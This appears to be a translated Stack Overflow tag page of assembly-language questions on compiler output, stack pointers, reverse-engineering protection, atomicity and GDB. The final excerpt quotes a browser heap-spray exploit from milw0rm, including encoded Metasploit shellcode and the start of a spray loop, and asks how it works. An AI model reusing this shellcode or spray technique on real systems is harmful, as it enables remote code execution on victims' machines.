Questions tagged «assembly»

汇编语言(asm)编程问题。确保还标记您正在使用的处理器和/或指令集以及汇编器。警告:对于.NET程序集,请使用标签[.net-assembly]。对于Java ASM,请改用标记[java-bytecode-asm]。

5
为什么GCC在实现整数除法时使用乘以奇数的乘法?
我一直在阅读div和mul汇编操作,我决定通过用C编写一个简单程序来看到它们的作用: 文件分割 #include <stdlib.h> #include <stdio.h> int main() { size_t i = 9; size_t j = i / 5; printf("%zu\n",j); return 0; } 然后使用以下命令生成汇编语言代码: gcc -S division.c -O0 -masm=intel 但是查看生成的division.s文件,它不包含任何div操作!取而代之的是,它执行某种带有移位和魔术数字的黑魔法。这是一个计算的代码片段i/5: mov rax, QWORD PTR [rbp-16] ; Move i (=9) to RAX movabs rdx, -3689348814741910323 ; Move some magic number to …


8
基本指针和堆栈指针到底是什么?他们指出了什么?
使用来自维基百科的示例,其中DrawSquare()调用DrawLine(), (请注意,此图在底部具有高地址,在顶部具有低地址。) 任何人都可以解释我什么ebp,并esp在这方面? 从我所看到的,我会说堆栈指针总是指向堆栈的顶部,而基本指针指向当前函数的开头?或者是什么? 编辑:我的意思是在Windows程序的上下文中 edit2:又如何eip运作? edit3:我有以下来自MSVC ++的代码: var_C= dword ptr -0Ch var_8= dword ptr -8 var_4= dword ptr -4 hInstance= dword ptr 8 hPrevInstance= dword ptr 0Ch lpCmdLine= dword ptr 10h nShowCmd= dword ptr 14h 它们似乎都是双字,因此每个占用4个字节。所以我可以看到从hInstance到var_4有4个字节的距离。这些是什么?我认为这是寄信人地址,如维基百科的图片所示? (编者注:从迈克尔的答案中删除了一个长引号,该引号不属于该问题,但编辑了一个后续问题): 这是因为函数调用的流程是: * Push parameters (hInstance, etc.) * Call function, which pushes return …
225 c++  c  assembly  x86 

4
为什么引入无用的MOV指令会加速x86_64汇编中的紧密循环?
背景: 在使用嵌入式汇编语言优化某些Pascal代码时,我注意到一个不必要的MOV指令,并将其删除。 令我惊讶的是,删除了不必要的指令使我的程序变慢了。 我发现添加任意,无用的MOV指令可以进一步提高性能。 效果是不稳定的,并且会根据执行顺序而变化:同一行垃圾指令在一行中上下移动会导致速度降低。 我知道CPU会进行各种优化和精简,但这似乎更像是黑魔法。 数据: 我的代码版本在运行时间的循环中间有条件地编译了三个垃圾操作2**20==1048576。(周围的程序只计算SHA-256哈希值)。 我的旧机器(Intel(R)Core(TM)2 CPU 6400 @ 2.13 GHz)上的结果: avg time (ms) with -dJUNKOPS: 1822.84 ms avg time (ms) without: 1836.44 ms 程序循环运行25次,每次运行顺序随机更改。 摘抄: {$asmmode intel} procedure example_junkop_in_sha256; var s1, t2 : uint32; begin // Here are parts of the SHA-256 algorithm, in Pascal: // …

30
为什么程序不是更经常用Assembly编写的?[关闭]
按照目前的情况,这个问题不适合我们的问答形式。我们希望答案会得到事实,参考或专业知识的支持,但是这个问题可能会引起辩论,争论,民意测验或扩展讨论。如果您认为此问题可以解决并且可以重新提出,请访问帮助中心以获取指导。 7年前关闭。 已锁定。该问题及其答案被锁定,因为该问题是题外话,但具有历史意义。它目前不接受新的答案或互动。 主流的观点似乎是:汇编语言比诸如C的高级语言花费的时间更长,并且编程起来更困难。因此,出于这些原因,似乎建议或假定最好使用高级语言编写并且出于更好的可移植性。 最近,我一直在写x86汇编语言,这使我意识到,也许这些原因并不是真的,除了可移植性。也许更多的是熟悉和知道如何编写汇编。我还注意到,汇编语言编程与HLL编程完全不同。也许一个优秀且经验丰富的汇编程序员可以像使用C语言编写经验丰富的C程序员一样轻松快捷地编写程序。 也许是因为汇编编程与HLL完全不同,并且需要不同的思维,方法和方式,这使得对于不熟悉的编程变得很尴尬,因此给它起了不好的名字来编写程序。 如果可移植性不是问题,那么,对于像NASM这样的优秀汇编程序,C真的有什么呢? 编辑: 只是指出。当您使用汇编语言编写时,您不必只编写指令代码。您可以使用宏和过程以及您自己的约定来进行各种抽象,以使程序更具模块化,更可维护且更易于阅读。这是熟悉如何编写良好汇编的地方。

24
保护可执行文件免受逆向工程?
我一直在考虑如何保护我的C / C ++代码免于反汇编和逆向工程。通常,我永远不会在自己的代码中宽恕这种行为。但是,为了所有人的安全,我目前正在研究的当前协议绝不能被检查或理解。 现在,这对我来说是一个新主题,互联网对于预防逆向工程并不是真正有用的资源,而是描述了大量有关如何进行逆向工程的信息 到目前为止,我想到的一些事情是: 代码注入(在实际函数调用之前和之后调用伪函数) 代码混淆(破坏二进制文件的反汇编) 编写我自己的启动例程(调试器很难绑定到) void startup(); int _start() { startup( ); exit (0) } void startup() { /* code here */ } 运行时检查调试器(如果检测到,则强制退出) 功能蹦床 void trampoline(void (*fnptr)(), bool ping = false) { if(ping) fnptr(); else trampoline(fnptr, true); } 没有意义的分配和释放(堆栈变化很多) 无意义的虚拟呼叫和蹦床(拆卸输出中的大量跳跃) 吨铸件(用于模糊拆卸) 我的意思是,这是我想到的一些事情,但是在适当的时间范围内,代码分析人员可以解决所有这些问题,或者可以由代码分析人员弄清楚这些问题。我还有别的选择吗?
210 c++  c  obfuscation  assembly 

3
为什么GCC对于几乎相同的C代码生成如此根本不同的汇编?
在编写优化ftol函数时,我在中发现了一些非常奇怪的行为GCC 4.6.1。首先让我向您展示代码(为清楚起见,我标记了不同之处): fast_trunc_one,C: int fast_trunc_one(int i) { int mantissa, exponent, sign, r; mantissa = (i & 0x07fffff) | 0x800000; exponent = 150 - ((i >> 23) & 0xff); sign = i & 0x80000000; if (exponent < 0) { r = mantissa << -exponent; /* diff */ } else { r …

22
内联汇编语言是否比本机C ++代码慢?
我试图比较内联汇编语言和C ++代码的性能,所以我写了一个函数,将两个大小为2000的数组相加100000次。这是代码: #define TIMES 100000 void calcuC(int *x,int *y,int length) { for(int i = 0; i < TIMES; i++) { for(int j = 0; j < length; j++) x[j] += y[j]; } } void calcuAsm(int *x,int *y,int lengthOfArray) { __asm { mov edi,TIMES start: mov esi,0 mov ecx,lengthOfArray label: mov …
183 c++  c  performance  assembly 

7
在GDB中显示当前的汇编指令
我正在GDB中进行一些程序集级调试。有没有办法让GDB以与显示当前源代码行相同的方式向我显示当前汇编指令?每个命令后的默认输出如下所示: 0x0001433f 990 Foo::bar(p); 这给了我当前指令的地址,但是我必须继续参考其输出disassemble以查看我当前正在执行哪条指令。
179 assembly  gdb 

13
num ++是否可以对“ int num”是原子的?
通常,for int num,num++(或++num)作为读取-修改-写入操作不是原子的。但是我经常看到编译器(例如GCC)为此生成以下代码(请尝试在此处): 由于对应的第5行num++是一条指令,在这种情况下,我们可以得出结论num++ 是原子的吗? 如果是这样,是否意味着这样生成的代码num++可以在并发(多线程)场景中使用,而不会造成数据争用的危险(即,例如,我们不需要这样做,std::atomic<int>并且会产生相关的成本,因为它反正还是原子的? 更新 注意,这个问题不是增量是否是原子的(不是,那过去是,现在是问题的开头)。这是在特定情况下是否可以使用,即在某些情况下是否可以利用单指令性质来避免lock前缀的开销。并且,正如公认的答案在有关单处理器机器的部分中提到的那样,以及该答案,其注释中的对话和其他解释都可以(尽管不是使用C或C ++)。


1
为什么ARM芯片在名称(FJCVTZS)中使用带有Javascript的指令?
FJCVTZS是“将浮点Javascript转换为带符号的定点,四舍五入为零”。Arm v8.3-A芯片和更高版本支持该功能。这很奇怪,因为您不希望看到JavaScript如此接近裸机。 我可以找到有关指令作用的说明,但找不到其存在的原因。 该线程说:“它作为一条指令存在是因为JS缺少整数类型,这意味着某些用例在没有很好的算法原因的情况下,经常会令人讨厌地需要此操作。” 这是合理的,但我想更详细地了解。
148 javascript  assembly  arm 

13
日常机器如何编程?
日常机器(不像家用电器,数字手表等那样的计算机和移动设备)如何编程?可口可乐自动售货机的编程中使用哪种代码?我的咖啡机如何接受预先设定的时间,然后在几小时后开始冲泡一壶咖啡? 这些机器内部是否装有操作系统,还是更基本的东西?它们是用Assembly,C还是其他某种语言编写的? 而且,我真的很想找到一些列出这些操作系统或基础代码系统的资源,甚至在可能的情况下甚至还带有源代码。如果有人知道这样的资源(搜索对我没有任何帮助),那就太好了。


7
这种milw0rm堆喷利用如何工作?
我通常没有阅读JavaScript代码的困难,但是对于这一点,我无法弄清楚逻辑。该代码来自4天前发布的漏洞利用程序。您可以在milw0rm上找到它。 这是代码: <html> <div id="replace">x</div> <script> // windows/exec - 148 bytes // http://www.metasploit.com // Encoder: x86/shikata_ga_nai // EXITFUNC=process, CMD=calc.exe var shellcode = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98bb%ud7ff%ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%u4290%ua63a%u94e9%u9aa4%ud58d%ue5a3%u1f4c%ueb46%u4b8c%ud0ad%ua844%u524a%u3b81%ub80d%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%u9631%u5580"); // ugly heap spray, the d0nkey way! // works most of the time var spray = unescape("%u0a0a%u0a0a"); do { spray += spray; } while(spray.length < 0xd0000); memory …

By using our site, you acknowledge that you have read and understand our Cookie Policy and Privacy Policy.
Licensed under cc by-sa 3.0 with attribution required.